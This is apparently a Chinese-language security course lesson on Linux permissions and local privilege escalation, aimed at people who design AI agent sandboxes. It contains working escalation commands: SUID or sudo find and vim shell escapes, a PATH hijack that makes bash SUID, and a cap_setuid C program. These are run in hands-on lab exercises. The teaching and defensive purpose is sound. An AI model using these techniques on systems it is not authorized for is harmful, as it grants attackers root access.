🔐 SECURITY · 周六安全主线

Day 06 · Linux 权限与提权基础

Week 01 · 周六 · 2026-05-16 · 安全主线:操作系统层攻防 · 预计 4 小时(含 1h 动手 lab)
今日导读:你在公司做 Agent 安全,关心的是 LLM 攻击。但最终所有的攻击都要落到一台机器、一个进程、一个文件——攻击者拿到 LLM 沙箱里的代码执行后,下一步绝大多数情况是「我能不能从这个 nobody 用户提到 root?」今天我们把 Linux 权限模型、SUID/SGID、sudo、capabilities、PAM 这些本地提权的所有原理拆开讲,并通过几个动手 lab 体验经典提权路径。理解攻击者的视角,是设计 Agent 沙箱防御的前提。
今日目录(4 小时分配)
  1. Unix 权限模型:rwx + ugo + umask(45 min)
  2. 特殊位:SUID / SGID / Sticky(45 min)
  3. sudo 工作原理与 /etc/sudoers(30 min)
  4. Linux Capabilities:细粒度权限拆分(20 min)
  5. PAM 认证框架(轻量了解 · 10 min)
  6. 提权路径六大经典套路(30 min)
  7. GTFOBins:可滥用 binary 速查站(10 min)
  8. 动手 LAB:3 条提权路径实操(60 min)
  9. 与 AI / Agent 安全的连结
  10. 今日小练习

1. Unix 权限模型:rwx + ugo + umask

Linux/Unix 系统里每个文件、每个目录都有一组权限位,决定谁能读、写、执行。这套模型 1970 年代发明,半个世纪了仍是所有现代 Unix 系统(Linux、macOS、BSD)的基石。今天就从它讲起。

1.1 权限的三个动作 × 三种身份

三种动作(rwx):

三种身份(ugo):

把这两个维度组合起来,就有 3 × 3 = 9 位权限,外加几个特殊位(下一节讲)。

1.2 ls -l 输出全解

$ ls -l /etc/passwd /etc/shadow /usr/bin/sudo
-rw-r--r--  1 root root  3082 May 10 14:23 /etc/passwd
-rw-------  1 root shadow 1842 May 10 14:23 /etc/shadow
-rwsr-xr-x  1 root root 182600 Mar 28 11:33 /usr/bin/sudo

解析第一列 -rwxr-xr-x 这种字符串:

- rwx r-x r-x │ │ │ │ │ │ │ └── other 的权限(r=可读 x=可执行 -=不能写) │ │ └── group 的权限 │ └── owner 的权限 └── 文件类型:- 普通文件 / d 目录 / l 软链接 / c 字符设备 / b 块设备 / s socket / p 管道

所以 /etc/passwd-rw-r--r-- 意思是:

/etc/shadow-rw------- 意思是:

/usr/bin/sudo-rwsr-xr-x 有个奇怪的 s——那个就是 SUID 位,下一节细讲。

1.3 chmod:数字记号

除了 chmod u+x file 这种文字记号,更常用的是数字记号。原理:rwx 三位用二进制表示 = 一个 0-7 的八进制数字。

权限二进制八进制
---0000
--x0011
-w-0102
-wx0113
r--1004
r-x1015
rw-1106
rwx1117

三个身份各一位,连起来三个数字。常见模式速记:

数字含义典型场景
755rwxr-xr-x可执行文件、目录的默认权限
644rw-r--r--普通文档(owner 可写,别人只读)
600rw-------私密文件(SSH 私钥、配置)
700rwx------私人目录(如 ~/.ssh/)
777rwxrwxrwx⚠ 几乎永远不该用,任何人都能改
# 改一个文件的权限
chmod 755 myscript.sh
chmod 600 ~/.ssh/id_rsa
chmod 644 README.md

# 文字记号也能用
chmod u+x file       # 给 owner 加执行权限
chmod go-rwx secret  # 把 group 和 other 的所有权限都拿掉
chmod a+r public.txt # all (= ugo) 都加上读

1.4 umask:新建文件的默认权限

你新建一个文件,权限是怎么定的?答案是:666 - umask 值(目录是 777 - umask)。umask 是"应该移除哪些位"的掩码。

# 看当前 umask
$ umask
022

# 022 意思是:去掉 group 和 other 的写权限
# 新文件 = 666 - 022 = 644 (rw-r--r--)
# 新目录 = 777 - 022 = 755 (rwxr-xr-x)

# 改 umask
umask 077    # 新文件 = 600,新目录 = 700(任何人都不能读)
umask 002    # 新文件 = 664(允许同组读写——多人协作场景)
常见安全问题:开发者 umask 设成 000002 后忘了改回来,结果 SSH 私钥(应该 600)创建出来变成 666,被其他用户读走。OpenSSH 会拒绝读这种"权限过宽"的私钥,但其他自定义脚本可能不会。

2. 特殊位:SUID / SGID / Sticky

9 位 rwx 之外还有三个特殊位,它们是 Linux 提权问题的头号根源。今天的重点。

2.1 SUID(Set User ID)

定义:一个二进制文件被设置了 SUID 位后,无论谁运行它,都会以"文件所有者"的身份执行

看一个例子。passwd 命令让用户改自己的密码——但改密码意味着写 /etc/shadow,而 /etc/shadow 只有 root 能写。普通用户怎么改自己密码?答案:

$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Mar 28 11:33 /usr/bin/passwd
   ↑
   注意这里有个 s 不是 x

那个 s = 4xxx 的特殊位 = SUID。owner 是 root,加了 SUID = "谁运行 passwd,都临时变成 root"。所以普通用户调 passwd 时,进程的 EUID(effective user ID)瞬间是 0(root),能写 shadow 文件;改完密码进程退出,权限收回。

SUID 是 Unix 早期一个极为重要的设计——它让需要特权的操作(改密码、ping 网络、挂载文件系统)不需要让用户登录到 root,也能用专用工具完成。但它也是安全黑洞——一旦某个 SUID 程序有 bug,攻击者就能用这个 bug 提权到 owner(通常是 root)。

2.2 怎么看一个程序是不是 SUID

# 找系统所有 SUID 程序(owner 是 root 的)
find / -perm -u+s -user root 2>/dev/null

# 在普通 Linux 系统上你会看到类似:
# /usr/bin/passwd
# /usr/bin/sudo
# /usr/bin/su
# /usr/bin/mount
# /usr/bin/ping
# /usr/bin/chsh
# /usr/bin/chfn
# /bin/su

每一个 SUID 二进制都是潜在的攻击面。攻击者拿到普通用户后,第一件事就是跑上面那条 find 命令,看有什么 SUID 程序。然后:

  1. 系统自带的 SUID 程序(passwd、sudo)通常审计很严,找漏洞难
  2. 管理员自己 chmod 加 SUID的脚本/程序往往有漏洞——比如某个运维脚本图省事加了 SUID
  3. 第三方软件包的 SUID(自定义业务工具):审计差,攻击面大

2.3 SGID(Set Group ID)

跟 SUID 类似,但作用于。看到 -rwxr-sr-x 那个 group 位的 s(在 group 三位里),就是 SGID。运行该程序的进程会以"文件所属组"的身份执行。

另一种 SGID 用法:对目录设置 SGID 后,在该目录里新建的文件会自动继承目录的 group。这是多人协作(如开源项目)共享文件的常用配置。

# 创建一个团队共享目录,组内成员都能读写新文件
mkdir /shared/team-data
chgrp team /shared/team-data
chmod 2775 /shared/team-data   # 2xxx = SGID
# 团队成员 alice 在里面新建文件,文件自动属于 team 组

2.4 Sticky Bit(粘滞位)

三个特殊位里相对无害的一个。给一个目录加 sticky 位后:只有文件的 owner 才能删除该目录里的文件。即使目录本身是 777,别人也只能新建自己的文件,不能 rm 你的文件。

$ ls -ld /tmp
drwxrwxrwt 12 root root 380 May 16 09:00 /tmp
        ↑
        这个 t 就是 sticky bit

所以 /tmp 看起来权限是 777(任何人都能写)——但因为 sticky bit,你只能删自己创建的临时文件,删不了别人的。这就是为啥 /tmp 是大家共享但又相对安全的。

2.5 数字记号扩展到 4 位

chmod 4755 myprogram   # SUID + rwxr-xr-x = -rwsr-xr-x
chmod 2755 mydir       # SGID + rwxr-xr-x = -rwxr-sr-x
chmod 1777 /tmp        # Sticky + rwxrwxrwx = drwxrwxrwt
chmod 0644 file        # 第一位 0 = 清掉特殊位
规则chmod +s / chmod g+s / chmod +t 也能加。但SUID 只对二进制可执行文件有效,对 shell 脚本无效(内核出于安全考虑禁用了脚本的 SUID)。攻击者写了个 SUID shell 脚本是没用的——必须是编译过的二进制。

3. sudo 工作原理与 /etc/sudoers

SUID 的 su(switch user)能让你"登录"成另一个用户,但要 root 密码。sudo 则是更精细的工具:让管理员预先定义"谁可以以什么身份运行什么命令",被授权的用户用自己的密码就能执行。

3.1 sudo 本身是 SUID 程序

$ ls -l /usr/bin/sudo
-rwsr-xr-x 1 root root 182600 ...
   ↑ SUID

所以任何用户运行 sudo,进程瞬间变成 root,由 sudo 自己内部检查 /etc/sudoers 决定该不该让你做这件事。这个流程是安全审计的核心——sudo 的 bug 往往直接提权到 root(历史上有过几次重大 CVE)。

3.2 /etc/sudoers 语法

# 这个文件用 visudo 命令编辑(有语法检查,防止你写错把自己锁出来)
sudo visudo

# 几条最常见的规则:
root ALL=(ALL:ALL) ALL              # root 啥都能干
%admin ALL=(ALL) ALL                 # admin 组成员能切换到任何用户运行任何命令
%sudo ALL=(ALL:ALL) ALL              # sudo 组同上
alice ALL=(ALL) NOPASSWD: /bin/systemctl restart nginx
                                     # alice 不用密码就能重启 nginx,但只能这一条

语法格式:user host=(run_as_user:run_as_group) commands

3.3 sudoers 配置错误 = 经典提权点

案例:危险的 NOPASSWD 通配符

# 错误配置(真实出现过):
bob ALL=(ALL) NOPASSWD: /usr/bin/find /var/log *

管理员意图:让 bob 能用 find 查日志。致命漏洞find-exec 参数能跑任意命令,所以:

sudo find /var/log -exec /bin/sh \; -quit
# 直接弹个 root shell —— 因为 sudo 以 root 身份运行 find,
# find 又以 root 身份调起 /bin/sh

这个攻击套路就是下面要讲的 GTFOBins 站点的核心内容——它把"看起来无害但能被滥用的命令"全部收录了。

3.4 sudo 的常见提权探测

# 看你(当前用户)能 sudo 哪些命令
sudo -l

# 输出例:
# User bob may run the following commands on this host:
#     (ALL) NOPASSWD: /usr/bin/find /var/log *
#     (ALL) NOPASSWD: /usr/bin/vim /etc/nginx/*

# vim 也能逃逸:sudo vim /etc/nginx/test 进去后输入 :!sh 即 root shell

攻击者拿到任何 user shell,第一件事就跑 sudo -l。每一个 NOPASSWD 条目都要审查能不能滥用。

4. Linux Capabilities:细粒度权限拆分

SUID + root 模型有个根本问题:太粗了。你只是想让 ping 能发原始网络包,结果 ping 程序拥有了 root 的所有能力(修改 /etc、kill 任何进程、加载内核模块……)。一个 ping 的 bug 就让攻击者拿到 root。

从 Linux 2.2 开始,内核引入了 Capabilities 机制,把 root 的特权拆成 ~40 个细粒度能力。每个进程可以只拥有它需要的那几个,没必要拥有全部 root 权限。

4.1 常见 capability 列表(精选)

Capability能干什么
CAP_NET_RAW发送原始网络包(ping、tcpdump 需要)
CAP_NET_BIND_SERVICE绑定 1024 以下端口(HTTP 监听 80 需要)
CAP_SYS_PTRACE用 ptrace 跟踪/调试别的进程(gdb、strace 需要)
CAP_SYS_ADMIN挂载文件系统、改主机名等("半个 root")
CAP_DAC_READ_SEARCH绕过文件读权限检查
CAP_DAC_OVERRIDE绕过所有文件权限检查(≈ root)
CAP_CHOWN改文件 owner
CAP_KILL给任何进程发信号
CAP_NET_ADMIN配置网络接口、防火墙
CAP_SYS_MODULE加载/卸载内核模块(= 完全 root)

4.2 看一个文件/进程的 capability

# 文件
$ getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw=ep
# ep 表示 Effective + Permitted 都打开

# 当前进程
$ cat /proc/$$/status | grep Cap
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
# 普通用户进程没有任何 capability

4.3 危险的 capability 配置

案例:CAP_SETUID 在二进制上 = 即时提权

# 管理员搞错以为 setcap 是"轻量级"的 SUID 替代,给某二进制加了:
sudo setcap cap_setuid+ep /usr/bin/my_tool

# 但 cap_setuid 意味着该程序能调 setuid(0) 把自己变成 root
# 任何能跑 my_tool 的用户都可以提权

容器场景里这点特别关键——后面 Week 9 讲 Docker 时会看到,docker run --cap-add 给容器添加能力。添加错了等于打开了逃逸通道。比如 --cap-add SYS_ADMIN 几乎等于 --privileged

5. PAM 认证框架(轻量了解)

PAM(Pluggable Authentication Modules)是 Linux 把"认证"从程序里抽离出来的统一框架。SSH、sudo、login、su 这些工具都不自己写认证逻辑——它们调 PAM,PAM 再去读配置文件、调具体的认证模块。

# /etc/pam.d/sudo (典型)
auth       required   pam_unix.so       # 检查 /etc/passwd
auth       required   pam_faillock.so   # 失败次数限制
account    required   pam_unix.so
session    required   pam_limits.so

# 你能在这里配多因素认证:
auth       required   pam_google_authenticator.so

对 Agent 安全的关联:如果你的 Agent 服务跑在 Linux 主机上,要让它走 SSH 远程登录,PAM 是认证链路里的关键一环。你能配置 PAM 在登录时调用你自己的检测脚本,对接异常登录检测系统。Week 4 周日讲安全综合时再回来。

6. 提权路径六大经典套路

把今天讲的拼起来,列出攻击者拿到普通 user shell 后最常用的提权路径你的 Agent 沙箱设计要做的,就是把这些路径全部堵上

6.1 路径 A:滥用 SUID 程序的 -exec / -e / :! 功能

系统里有不少 SUID 程序的"看起来无害"功能能跑任意命令:

这些命令只要被加了 SUID 或被 sudoers 允许 NOPASSWD,攻击者就能用它的"-exec" 类参数跑出 root shell。

6.2 路径 B:sudo -l 列出的 NOPASSWD 命令

已经讲过——任何 NOPASSWD 条目都要审查。Day 4 LAB 5 你已经动手过 sudo -l。

6.3 路径 C:可写的 PATH

案例

# 管理员给某个目录设了一个 SUID 程序,程序里调了系统命令但用相对路径:
$ cat /usr/local/bin/backup.c
int main() {
    system("tar czf /backup.tgz /data");  // ⚠ 相对路径调 tar
    return 0;
}

# 这个 SUID 程序运行时会沿 $PATH 找 tar
# 如果攻击者控制了 $PATH 顺序:
echo '#!/bin/sh
chmod u+s /bin/bash' > /tmp/tar
chmod +x /tmp/tar
PATH=/tmp:$PATH /usr/local/bin/backup
# 现在 /bin/bash 是 SUID 了,bash -p 即得到 root shell

修复方法:SUID 程序里调系统命令时必须用绝对路径(如 /bin/tar),并且代码里要重置 PATHLD_PRELOAD 等环境变量。

6.4 路径 D:可写的 cron job 配置

如果某个 cron job 由 root 运行,但脚本本身/它依赖的文件/它所在的目录是用户可写的——你改了脚本,下次 cron 触发就以 root 身份跑你的代码。

# 查所有 cron 任务(系统级 + 各用户)
cat /etc/crontab
ls /etc/cron.d/  /etc/cron.hourly/  /etc/cron.daily/

# 找 root 跑的可写脚本
find / -path "/proc" -prune -o -type f -writable -print 2>/dev/null | head

6.5 路径 E:内核漏洞

很多年总会爆出几个 Linux 内核漏洞允许本地提权。著名的:

这些都不需要任何特殊权限,只要内核版本中招就能利用。所以"打补丁"是基础设施安全的核心动作之一。

6.6 路径 F:可滥用的 capability

已经讲过。SUID 之外,setcap 配置错误也能直接 → root。

7. GTFOBins:可滥用 binary 速查站

GTFOBins.github.io 是个开源项目,专门收录"看起来无害但能被滥用提权 / 突破限制"的命令清单。每个命令列出它的 5-6 种被滥用方式:

覆盖的命令包括但不限于:

awk · bash · cp · curl · find · gdb · less · more · perl · python · ruby · rsync · sed · sh · sshd · sudo · tar · vim · zip · sqlite3 · ssh · ssh-keyscan · git · nmap · openssl · expect · php · node · ...

这个网站对蓝队和红队都是必备工具。蓝队用它做"我们系统有这些 SUID 命令吗?分别要怎么防?"红队用它做"我能用现成的工具提权吗?"

8. 动手 LAB:3 条提权路径实操

安全声明:本节实验在你自己的本地 Linux VM 或 Docker 容器里跑。绝对不要在公司机器、生产机器或任何不属于你的机器上尝试。提权他人系统在大多数司法管辖区是犯罪。

LAB 推荐环境:用 Docker 起一个隔离的 Ubuntu

# 在你 mac 上起一个 Ubuntu 容器,加 --privileged 让我们能演示
docker run -it --rm --hostname suid-lab ubuntu:22.04 bash

# 容器里建一个低权限用户来当"攻击者"
useradd -m -s /bin/bash attacker
echo "attacker:Pass123" | chpasswd
# 装一些工具
apt update && apt install -y sudo vim less file findutils

LAB A:用 SUID find 提权

# root 操作:给 find 加 SUID
chmod u+s /usr/bin/find
ls -l /usr/bin/find
# -rwsr-xr-x 1 root root ... /usr/bin/find

# 切换到 attacker 用户
su - attacker

# 攻击者操作:
$ find / -perm -u+s 2>/dev/null | head
# 看到 /usr/bin/find 在列

$ find . -exec /bin/bash -p \;
# -p 让 bash 保留 effective UID = 0
$ whoami
root         ← 提权成功
$ exit       # 退出 root shell

LAB B:sudo NOPASSWD vim 提权

# root 操作:
echo "attacker ALL=(ALL) NOPASSWD: /usr/bin/vim /etc/nginx/*" > /etc/sudoers.d/attacker
chmod 440 /etc/sudoers.d/attacker

# 切换到 attacker
su - attacker

# 攻击者操作:
$ sudo -l
# 看到允许 vim /etc/nginx/*

$ sudo vim /etc/nginx/test
# 在 vim 里输入: :!bash
$ whoami
root         ← 提权成功

LAB C:CAP_SETUID 提权

# root 操作:
cat > /tmp/setuid_demo.c <<EOF
#include <unistd.h>
int main() {
    setuid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    return 0;
}
EOF
apt install -y gcc libcap2-bin
gcc /tmp/setuid_demo.c -o /tmp/setuid_demo
setcap cap_setuid+ep /tmp/setuid_demo
chmod 755 /tmp/setuid_demo

# 切换到 attacker
su - attacker

# 攻击者操作:
$ getcap /tmp/setuid_demo
/tmp/setuid_demo = cap_setuid+ep

$ /tmp/setuid_demo
$ whoami
root         ← 提权成功

三条路径的共同模式攻击者拿到普通 shell → 用 find/getcap/sudo -l 等命令侦察 → 找到一个"配置不当的特权点" → 用它跑出 root shell。理解这个模式,你做 Agent 沙箱设计时就知道要堵哪些口子了。

🔗 与 AI / Agent 安全的连结

1. Agent code interpreter 的最低安全要求。如果你的 Agent 允许 LLM 生成代码并执行(OpenAI / Anthropic 的 code interpreter、自建沙箱):最起码不能用 root 跑。今天讲的所有提权路径都是"普通用户 → root"的,如果起点就是 root,攻击者没必要提权,直接做坏事。规则:沙箱进程必须以 unprivileged 用户启动,uid > 1000,附加 NoNewPrivs seccomp 设置(防止 SUID 提权)。

2. 容器镜像的 SUID 审计。你打包 Agent 服务的 Docker 镜像,最佳实践是用 distroless 或 alpine 最小镜像,然后扫描所有 SUID 二进制find / -perm -u+s,把不必要的全部清掉。一个生产镜像里如果有 findvim 这种 SUID 程序,攻击者拿到沙箱后能直接提权。Week 10 讲 Docker 镜像时会展开。

3. capability 模型用对了能大幅缩攻击面。比如你的 Agent 服务需要 ping 网络(健康检查),用传统做法要 root;用 capabilities 你只给它 CAP_NET_RAW就算被攻破,攻击者也拿不到完整 root,能干的坏事少得多。K8s 里给 Pod 配置 securityContext.capabilities.drop: ALL 然后 add 仅需的几个,是生产防御标配。

4. 监控 setuid/setgid 系统调用。攻击者在你机器上做提权时,一定会调 setuid(0)setgid(0) 这两个 syscall。用 eBPF(Week 2 周六会讲)实时监控这两个 syscall,配合"调用者不是 root 而是普通用户、目标是 root"的过滤条件,可以做到秒级提权检测。Falco / Tetragon 这类工具的核心规则就是这个。

5. 别让 LLM 看到 sudoers / setcap 这些配置。如果你的 RAG 系统索引了运维文档,务必把 /etc/sudoers、setcap 列表、SSH 密钥位置这些放黑名单。否则一个 indirect prompt injection 能让 Agent 把你的提权清单完整吐出来。这其实是 Week 19(向量数据库安全)和 Week 23(LLM 攻击面)的预告。

📝 今日小练习

130 分钟 · 上面 LAB 全做一遍

用 Docker 起一个 Ubuntu,跑通 LAB A、B、C 三条提权路径。关键:每一步都对照前面章节的解释——find 为啥能逃逸?sudo 给的 vim 怎么变成 root?setcap 比 SUID 危险在哪?做完你能用一段话向同事解释"为什么 K8s 推荐 cap_drop: ALL"。

215 分钟 · 你 mac 上看 SUID 程序清单

# mac 上跑
find /usr /bin /sbin -perm -u+s -user root 2>/dev/null
find /Applications -perm -u+s 2>/dev/null

问题:清单里有什么?挑 3 个你不认识的,去 GTFOBins 查一下。思考:如果攻击者拿到你 mac 上的普通用户 shell(比如某个浏览器漏洞),他能用这些 SUID 程序做什么?

310 分钟 · 思考题

你设计一个 Agent 沙箱,让 LLM 生成的 Python 代码能跑。下面 4 个隔离层级,从弱到强排序,并指出每一层"如果攻击者突破,能影响什么":

  1. Python exec() 在主进程里跑
  2. Python 子进程跑,但还是同一个 UNIX 用户
  3. 子进程 + 独立的非特权 UNIX 用户(uid=1001)+ NoNewPrivs
  4. 独立 Docker 容器 + non-root + cap_drop ALL + 只读 rootfs

结合今天的内容思考:A 突破后能干什么?B 比 A 多了什么保护?C 阻断了今天讲的哪些提权路径?D 进一步加了哪些防线?